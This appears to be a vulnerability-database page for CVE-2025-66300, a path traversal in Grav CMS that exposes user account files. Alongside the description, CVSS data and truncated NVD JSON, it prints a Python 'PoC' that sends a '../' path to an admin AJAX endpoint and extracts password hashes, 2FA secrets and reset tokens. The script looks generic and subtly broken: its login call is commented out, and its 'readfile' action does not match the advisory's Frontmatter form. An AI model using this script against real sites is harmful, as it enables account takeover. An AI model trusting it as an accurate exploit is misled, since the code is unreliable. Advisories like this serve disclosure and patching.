Security Vulnerability Report
中文
CVE-2025-66300 CVSS 8.5 HIGH

CVE-2025-66300

Published: 2025-12-01 22:15:49
Last Modified: 2025-12-03 15:45:06

Description

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, A low privilege user account with page editing privilege can read any server files using "Frontmatter" form. This includes Grav user account files (/grav/user/accounts/*.yaml), which store hashed user password, 2FA secret, and the password reset token. This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password. This vulnerability is fixed in 1.8.0-beta.27.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta11:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getgrav:grav:1.8.0:beta12:*:*:*:*:*:* - VULNERABLE
Grav CMS < 1.8.0-beta.27

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re target = "http://target-grav-site.com" username = "attacker_account" password = "attacker_password" # Step 1: Login to Grav CMS session = requests.Session() login_url = f"{target}/task:login" login_data = { "username": username, "password": password } # session.post(login_url, data=login_data) # Step 2: Exploit path traversal via Frontmatter form to read user account file file_to_read = "../../../../../../../grav/user/accounts/admin.yaml" exploit_url = f"{target}/admin/pages/ajax" headers = { "Content-Type": "application/x-www-form-urlencoded" } payload = { "action": "readfile", "file": file_to_read } # Send malicious request response = session.post(exploit_url, data=payload, headers=headers) # Step 3: Parse response to extract sensitive data if response.status_code == 200: content = response.text # Extract password hash password_hash = re.search(r'password: (.+)', content) # Extract 2FA secret twofa_secret = re.search(r'twofa_secret: (.+)', content) # Extract password reset token reset_token = re.search(r'reset_token: (.+)', content) print(f"Password Hash: {password_hash.group(1) if password_hash else 'Not found'}") print(f"2FA Secret: {twofa_secret.group(1) if twofa_secret else 'Not found'}") print(f"Reset Token: {reset_token.group(1) if reset_token else 'Not found'}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66300", "sourceIdentifier": "[email protected]", "published": "2025-12-01T22:15:49.447", "lastModified": "2025-12-03T15:45:05.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 1.8.0-beta.27, A low privilege user account with page editing privilege can read any server files using \"Frontmatter\" form. This includes Grav user account files (/grav/user/accounts/*.yaml), which store hashed user password, 2FA secret, and the password reset token. This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password. This vulnerability is fixed in 1.8.0-beta.27."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.0", "matchCriteriaId": "0F068841-DBCC-41D5-8B24-BFCE51841E2E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "8A383F2E-C6BA-440B-B648-A3313B7D91C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta10:*:*:*:*:*:*", "matchCriteriaId": "F7EF2DEC-2798-4D0D-9C27-0F01BAFEAEFD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta11:*:*:*:*:*:*", "matchCriteriaId": "530C6F64-F30B-4E93-9A12-D9625EA57483"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta12:*:*:*:*:*:*", "matchCriteriaId": "9AC28BF9-626D-4514-91F0-F81DAB5D3602"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta13:*:*:*:*:*:*", "matchCriteriaId": "307AA375-E531-4AE5-BA79-2F9D4DE7A05F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta14:*:*:*:*:*:*", "matchCriteriaId": "C2E3E312-485D-42B0-B465-64B6438CDCAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta15:*:*:*:*:*:*", "matchCriteriaId": "5BE4B2F9-1B6D-4D18-916A-5C95A3213222"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta16:*:*:*:*:*:*", "matchCriteriaId": "763207F0-92D1-4274-A30A-DE634C5852C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta17:*:*:*:*:*:*", "matchCriteriaId": "1DE8F350-BA07-4DAA-AE4B-5E0A532B6828"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta18:*:*:*:*:*:*", "matchCriteriaId": "F9150B94-0DF3-43F3-9806-39787A6C0E4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta19:*:*:*:*:*:*", "matchCriteriaId": "BAA7C7EC-8FB2-445D-8A02-1743D87F5416"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "7A6BEA2A-D534-4C9E-811A-8A46E214C46D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta20:*:*:*:*:*:*", "matchCriteriaId": "7A644F57-FF39-4262-9796-7C4F3B0851C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta21:*:*:*:*:*:*", "matchCriteriaId": "B2AFB9E7-084E-497B-B0FC-CA6A5033C5BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta22:*:*:*:*:*:*", "matchCriteriaId": "5C5E8823-9083-4FFA-9897-CAD0340DCE68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta23:*:*:*:*:*:*", "matchCriteriaId": "9C048938-E0EC-4AD0-9847-FD74E6770FE2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta24:*:*:*:*:*:*", "matchCriteriaId": "F7B43876-1445-418A-9707-E692FDF62C4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta25:*:*:*:*:*:*", "matchCriteriaId": "94B209DE-01C6-41BA-B912-CF57849A9F7A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta26:*:*:*:*:*:*", "matchCriteriaId": "AB53AA10-87A5-4010-8019-BF4AA5ABC12B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "775E0913-F3EF-4A55-B162-5BF9C6E2E641"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta4:*:*:*:*:*:*", "matchCriteriaId": "3C3E022E-35CB-40AD-959A-F39949E38BD3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta5:*:*:*:*:*:*", "matchCriteriaId": "8779C813-A81A-4E21-AB86-6193933568BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:1.8.0:beta6:*:*:*:*:*:*", "matchCriteriaId": "B608EDD4-207A-41A7-A60D-496FDA8EAFEA"}, ... (truncated)